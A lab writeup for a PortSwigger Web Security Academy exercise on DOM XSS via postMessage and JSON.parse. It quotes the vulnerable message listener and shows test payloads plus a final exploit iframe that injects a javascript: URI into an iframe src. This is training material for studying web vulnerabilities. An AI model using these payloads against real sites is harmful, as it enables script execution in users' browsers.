Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type DOM XSS via postMessageJSON.parseiframe.src
Difficulty Practitioner
Objective Send a web message that calls print() via a javascript: URI loaded into an iframe

DOM XSS Using Web Messages and JSON.parse — Writeup


Initial Observation

Screenshot

Inspecting the page source reveals this script:

window.addEventListener('message', function(e) {
    var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
    document.body.appendChild(iframe);
    try {
        d = JSON.parse(e.data);
    } catch(e) {
        return;
    }
    switch(d.type) {
        case "page-load":
            ACMEplayer.element.scrollIntoView();
            break;
        case "load-channel":
            ACMEplayer.element.src = d.url;
            break;
        case "player-height-changed":
            ACMEplayer.element.style.width = d.width + "px";
            ACMEplayer.element.style.height = d.height + "px";
            break;
    }
}, false);

The page listens for messages, parses the data as JSON, and branches on d.type. The load-channel case sets ACMEplayer.element.src = d.url — that's an iframe src being written directly from message data. If we can control d.url, we control what the iframe loads.

The iframe is already on the page:

Screenshot

Web — Testing the JSON Message Handler

Testing load-channel in the console — sending a JSON string with type set to load-channel and a url pointing somewhere:

postMessage("{\"type\": \"load-channel\", \"url\": \"https://google.com\"}")
Screenshot

X-Frame-Options error from Google — but that confirms the iframe is actually loading the URL we sent. Trying a javascript: URI instead:

postMessage("{\"type\": \"load-channel\", \"url\": \"javascript:alert(0)\"}")
Screenshot

Alert fires. Setting iframe.src to a javascript: URI executes the script in the iframe's context.


Attack Path

Exploit — iframe + postMessage with JSON Payload

<iframe src="https://0a3900d3040e0b3c802b1295008100f5.web-security-academy.net/" onload='this.contentWindow.postMessage("{\"type\": \"load-channel\", \"url\": \"javascript:print()\"}", "*")'></iframe>

Storing it and viewing the exploit:

Screenshot

print() fires. Delivering to victim:

Screenshot

Lab solved :p

Resources